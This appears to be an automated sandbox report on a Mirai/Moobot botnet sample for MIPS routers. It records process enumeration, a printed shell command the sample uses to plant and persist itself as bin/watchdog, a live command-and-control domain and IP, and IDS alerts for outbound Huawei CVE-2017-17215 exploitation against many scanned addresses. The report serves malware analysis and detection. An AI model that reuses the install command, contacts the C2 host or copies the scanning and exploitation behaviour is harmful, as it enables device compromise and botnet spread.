Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/118/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/910/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/119/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/912/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/10/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/2307/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/11/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/918/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/12/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/13/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/14/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/6121/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/15/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/16/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/17/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/18/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1594/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/120/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/121/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1349/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/122/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/243/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/123/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/2/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/124/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/3/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/4/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/125/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/126/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1344/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1465/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1586/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/127/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/6/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/248/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/128/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/249/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1463/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/800/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/9/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/801/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/20/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/21/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1900/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/22/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/23/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/24/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/25/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/26/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/27/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/28/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/29/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/491/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/250/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/130/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/251/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/252/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/132/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/253/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/254/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/255/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/256/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1599/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/257/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1477/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/379/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/258/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1476/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/259/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1475/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/936/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/30/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/2208/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/35/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1809/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1494/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/260/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/261/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/141/cmdline

Source: /usr/bin/chmod (PID: 6218)

File: /tmp/bin/watchdog (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /tmp/8lsvVMbYw7.elf (PID: 6213)

Shell command executed: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/8lsvVMbYw7.elf bin/watchdog; chmod 777 bin/watchdog"

Source: /bin/sh (PID: 6215)

Rm executable: /usr/bin/rm -> rm -rf bin/watchdog

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45328
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58096
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215

Source: /tmp/8lsvVMbYw7.elf (PID: 6211)

Queries kernel information via 'uname':

Source: 8lsvVMbYw7.elf, 6211.1.000055f113c26000.000055f113cad000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: 8lsvVMbYw7.elf, 6211.1.000055f113c26000.000055f113cad000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: 8lsvVMbYw7.elf, 6211.1.00007ffcfa1dd000.00007ffcfa1fe000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: 8lsvVMbYw7.elf, 6211.1.00007ffcfa1dd000.00007ffcfa1fe000.rw-.sdmp	Binary or memory string: nx86_64/usr/bin/qemu-mips/tmp/8lsvVMbYw7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/8lsvVMbYw7.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match	File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match	File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match	File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match	File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
8lsvVMbYw7.elf	61%	Virustotal		Browse
8lsvVMbYw7.elf	64%	ReversingLabs	Linux.Trojan.Mirai

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
j.xnyidc.top	13%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
j.xnyidc.top	156.224.24.249	true	true	13%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	8lsvVMbYw7.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	8lsvVMbYw7.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.122.249.23	unknown	South Africa	16637	MTNNS-ASZA	false
197.216.246.226	unknown	Angola	11259	ANGOLATELECOMAO	false
41.215.59.33	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
108.47.210.80	unknown	United States	5650	FRONTIER-FRTRUS	false
86.2.184.216	unknown	United Kingdom	5089	NTLGB	false
197.187.29.137	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.164.30.176	unknown	Egypt	24863	LINKdotNET-ASEG	false
163.159.243.10	unknown	Slovenia	15435	KABELFOONDELTAFiberNederlandNL	false
85.3.140.152	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
157.163.19.152	unknown	Germany	22192	SSHENETUS	false
157.114.152.203	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.215.104.9	unknown	Sierra Leone	37164	ZAIN-SL	false
41.165.220.194	unknown	South Africa	36937	Neotel-ASZA	false
41.51.170.24	unknown	South Africa	37168	CELL-CZA	false
157.155.254.125	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
41.213.144.200	unknown	Reunion	37002	ReunicableRE	false
157.26.73.179	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
197.225.163.192	unknown	Mauritius	23889	MauritiusTelecomMU	false
203.117.207.148	unknown	Singapore	4657	STARHUB-INTERNETStarHubLtdSG	false
41.83.144.208	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
41.76.254.8	unknown	Nigeria	37286	NG-ICT-FORUMNG	false
197.5.202.118	unknown	Tunisia	5438	ATI-TN	false
117.90.147.24	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
157.139.31.146	unknown	United States	20252	JSIWMCUS	false
70.43.200.100	unknown	United States	7029	WINDSTREAMUS	false
197.211.54.73	unknown	Nigeria	37148	globacom-asNG	false
124.245.211.133	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
93.213.159.141	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
134.61.198.10	unknown	Germany	47610	RWTH-ASDE	false
107.118.129.135	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
157.175.206.68	unknown	United States	16509	AMAZON-02US	false
197.136.212.68	unknown	Kenya	36914	KENET-ASKE	false
197.240.178.142	unknown	unknown	37705	TOPNETTN	false
41.12.83.171	unknown	South Africa	29975	VODACOM-ZA	false
143.20.10.228	unknown	United States	264008	LANCAMANTOANISERVICOSDEINFORMATICALTDA-MEBR	false
197.69.35.16	unknown	South Africa	16637	MTNNS-ASZA	false
197.173.143.31	unknown	South Africa	37168	CELL-CZA	false
157.215.57.56	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.224.199.212	unknown	Tunisia	37492	ORANGE-TN	false
53.174.9.169	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
157.220.249.137	unknown	United States	4704	SANNETRakutenMobileIncJP	false
144.177.101.154	unknown	Norway	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
157.37.64.93	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
96.195.150.65	unknown	United States	7922	COMCAST-7922US	false
197.12.117.173	unknown	Tunisia	37703	ATLAXTN	false
197.46.218.171	unknown	Egypt	8452	TE-ASTE-ASEG	false
106.90.178.87	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
121.166.75.153	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
197.180.156.79	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.17.21.185	unknown	Tunisia	37693	TUNISIANATN	false
157.120.215.120	unknown	Japan	9604	FSI-ASFUJISOFTINCORPORATEDJP	false
197.204.213.186	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.179.230.74	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.231.153.146	unknown	Tunisia	5438	ATI-TN	false
166.204.123.155	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
41.130.176.218	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.99.166.220	unknown	South Africa	3741	ISZA	false
197.165.117.160	unknown	Egypt	24863	LINKdotNET-ASEG	false
61.199.88.126	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.42.18.29	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
186.236.123.240	unknown	Brazil	53131	GBTECNOLOGIAEMONITORAMENTOEIRELIBR	false
41.121.55.46	unknown	South Africa	16637	MTNNS-ASZA	false
157.148.116.57	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
186.65.237.188	unknown	Chile	27680	TELEFONICAMOVILDECHILESACL	false
39.150.131.210	unknown	China	24445	CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN	false
41.205.215.93	unknown	Morocco	36925	ASMediMA	false
68.179.215.229	unknown	United States	10430	WA-K20US	false
157.139.31.134	unknown	United States	20252	JSIWMCUS	false
151.253.220.12	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
197.73.232.47	unknown	South Africa	16637	MTNNS-ASZA	false
197.96.225.174	unknown	South Africa	3741	ISZA	false
13.59.33.208	unknown	United States	16509	AMAZON-02US	false
41.3.151.154	unknown	South Africa	29975	VODACOM-ZA	false
197.227.254.209	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.239.252.138	unknown	unknown	36974	AFNET-ASCI	false
98.178.75.120	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
41.44.168.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.217.104.40	unknown	Nigeria	37340	SpectranetNG	false
197.222.122.211	unknown	Egypt	37069	MOBINILEG	false
41.108.245.6	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.15.56.36	unknown	South Africa	29975	VODACOM-ZA	false
157.121.53.53	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
157.146.115.27	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
197.122.223.222	unknown	Egypt	36992	ETISALAT-MISREG	false
41.3.83.208	unknown	South Africa	29975	VODACOM-ZA	false
41.36.233.3	unknown	Egypt	8452	TE-ASTE-ASEG	false
131.124.97.114	unknown	United States	15329	UNASSIGNED	false
197.200.106.225	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.37.88.95	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.216.98.181	unknown	Mauritius	37006	LiquidTelecommunicationRwandaRW	false
39.147.18.97	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
197.202.209.139	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.227.53.36	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
197.109.110.86	unknown	South Africa	37168	CELL-CZA	false
178.40.173.81	unknown	Slovakia (SLOVAK Republic)	6855	SK-TELEKOMSK	false
187.60.245.182	unknown	Brazil	28161	PiernetTelecomBR	false
157.157.39.30	unknown	Iceland	6677	ICENET-AS1IS	false
197.193.180.204	unknown	Egypt	36992	ETISALAT-MISREG	false
157.101.52.55	unknown	Japan	27947	TelconetSAEC	false
41.83.26.215	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.442327939522003
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	8lsvVMbYw7.elf
File size:	84780
MD5:	4db30b3742977f4175543bcc258bba08
SHA1:	d4934ed96152dfae36f4b9421b5f5b602f9ed6fe
SHA256:	7e4dadf93fbb7a01b55eadacbb40ae8d5e95f5b9592e55f0fb2340d89fc78f17
SHA512:	5d7111eb62f6758cdf57839190d451713a146931e0ce63975f02de2ab51d69f0122a59b9982138a2a62893e1256622822e73b1eaa077f1d0e45a74c53f0e0935
SSDEEP:	768:2ty6IP7M/kq0INRhfuN2Eo9tl/de2YIwHKRH0I84EH6UTC7ZDYovZ73x/nL8y8QP:Rakdn2Eo3ePu5GTCRYo99Be037WQ/
TLSH:	C883A51E7E228FADF76D823147B74E25A69833C627E1D641E16CD6012E6034E641FFE8
File Content Preview:	.ELF.....................@.`...4..H......4. ...(.............@...@....6`..6`..............@..E@..E@.......+.........dt.Q............................<...'..\...!'.......................<...'..8...!... ....'9... ......................<...'......!........'9.

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x115d0	0x0	0x6	AX	16
.fini	PROGBITS	0x4116f0	0x116f0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x411750	0x11750	0x1f10	0x0	0x2	A	16
.ctors	PROGBITS	0x454000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x454008	0x14008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x454014	0x14014	0x44	0x0	0x3	WA	4
.data	PROGBITS	0x454060	0x14060	0x3a0	0x0	0x3	WA	16
.got	PROGBITS	0x454400	0x14400	0x498	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x454898	0x14898	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4548c0	0x14898	0x2250	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x9c6	0x14898	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x14898	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13660	0x13660	5.5801	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x454000	0x454000	0x898	0x2b10	3.8882	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2393.94.199.11953672372152835222 03/20/23-16:21:16.976524	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53672	37215	192.168.2.23	93.94.199.119
192.168.2.2394.187.107.9039438372152835222 03/20/23-16:21:34.558345	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39438	37215	192.168.2.23	94.187.107.90
192.168.2.23203.6.74.10537918372152835222 03/20/23-16:21:45.948271	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37918	37215	192.168.2.23	203.6.74.105
192.168.2.238.8.8.843281532023883 03/20/23-16:20:44.511900	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	43281	53	192.168.2.23	8.8.8.8
156.224.24.249192.168.2.2356999477962030489 03/20/23-16:21:24.722739	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	56999	47796	156.224.24.249	192.168.2.23
156.224.24.249192.168.2.2356999478062030489 03/20/23-16:22:44.755597	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	56999	47806	156.224.24.249	192.168.2.23
192.168.2.23197.234.43.11049508372152835222 03/20/23-16:22:30.124421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49508	37215	192.168.2.23	197.234.43.110
192.168.2.2341.36.73.5245328372152835222 03/20/23-16:21:23.129262	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45328	37215	192.168.2.23	41.36.73.52
192.168.2.23156.224.24.24947806569992030490 03/20/23-16:21:34.964696	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47806	56999	192.168.2.23	156.224.24.249
192.168.2.23197.39.71.7358096372152835222 03/20/23-16:22:16.668019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58096	37215	192.168.2.23	197.39.71.73
192.168.2.2386.71.8.24242520372152835222 03/20/23-16:22:02.177570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42520	37215	192.168.2.23	86.71.8.242
192.168.2.23156.224.24.24947796569992030490 03/20/23-16:20:45.109110	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47796	56999	192.168.2.23	156.224.24.249
192.168.2.23192.107.143.15947896372152835222 03/20/23-16:22:19.853858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47896	37215	192.168.2.23	192.107.143.159
192.168.2.238.8.8.846438532023883 03/20/23-16:21:34.369876	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	46438	53	192.168.2.23	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 16:20:43.485317945 CET	42836	443	192.168.2.23	91.189.91.43
Mar 20, 2023 16:20:43.741290092 CET	42516	80	192.168.2.23	109.202.202.202
Mar 20, 2023 16:20:44.547441006 CET	31105	37215	192.168.2.23	113.66.95.51
Mar 20, 2023 16:20:44.547596931 CET	31105	37215	192.168.2.23	41.109.134.160
Mar 20, 2023 16:20:44.547679901 CET	31105	37215	192.168.2.23	122.238.154.25
Mar 20, 2023 16:20:44.547684908 CET	31105	37215	192.168.2.23	61.122.23.148
Mar 20, 2023 16:20:44.547693968 CET	31105	37215	192.168.2.23	113.167.180.50
Mar 20, 2023 16:20:44.547693968 CET	31105	37215	192.168.2.23	197.154.145.3
Mar 20, 2023 16:20:44.547697067 CET	31105	37215	192.168.2.23	197.50.135.0
Mar 20, 2023 16:20:44.547703028 CET	31105	37215	192.168.2.23	137.60.152.96
Mar 20, 2023 16:20:44.548110962 CET	31105	37215	192.168.2.23	197.4.125.26
Mar 20, 2023 16:20:44.548122883 CET	31105	37215	192.168.2.23	161.127.238.63
Mar 20, 2023 16:20:44.548135042 CET	31105	37215	192.168.2.23	157.202.140.177
Mar 20, 2023 16:20:44.548151016 CET	31105	37215	192.168.2.23	41.249.139.35
Mar 20, 2023 16:20:44.548187017 CET	31105	37215	192.168.2.23	197.191.6.8
Mar 20, 2023 16:20:44.548207998 CET	31105	37215	192.168.2.23	41.56.211.70
Mar 20, 2023 16:20:44.548300028 CET	31105	37215	192.168.2.23	157.185.236.211
Mar 20, 2023 16:20:44.548396111 CET	31105	37215	192.168.2.23	41.132.98.11
Mar 20, 2023 16:20:44.548396111 CET	31105	37215	192.168.2.23	197.68.19.229
Mar 20, 2023 16:20:44.548401117 CET	31105	37215	192.168.2.23	197.107.162.20
Mar 20, 2023 16:20:44.548403025 CET	31105	37215	192.168.2.23	197.174.60.2
Mar 20, 2023 16:20:44.548479080 CET	31105	37215	192.168.2.23	197.244.224.7
Mar 20, 2023 16:20:44.548497915 CET	31105	37215	192.168.2.23	41.169.228.69
Mar 20, 2023 16:20:44.548497915 CET	31105	37215	192.168.2.23	157.76.14.187
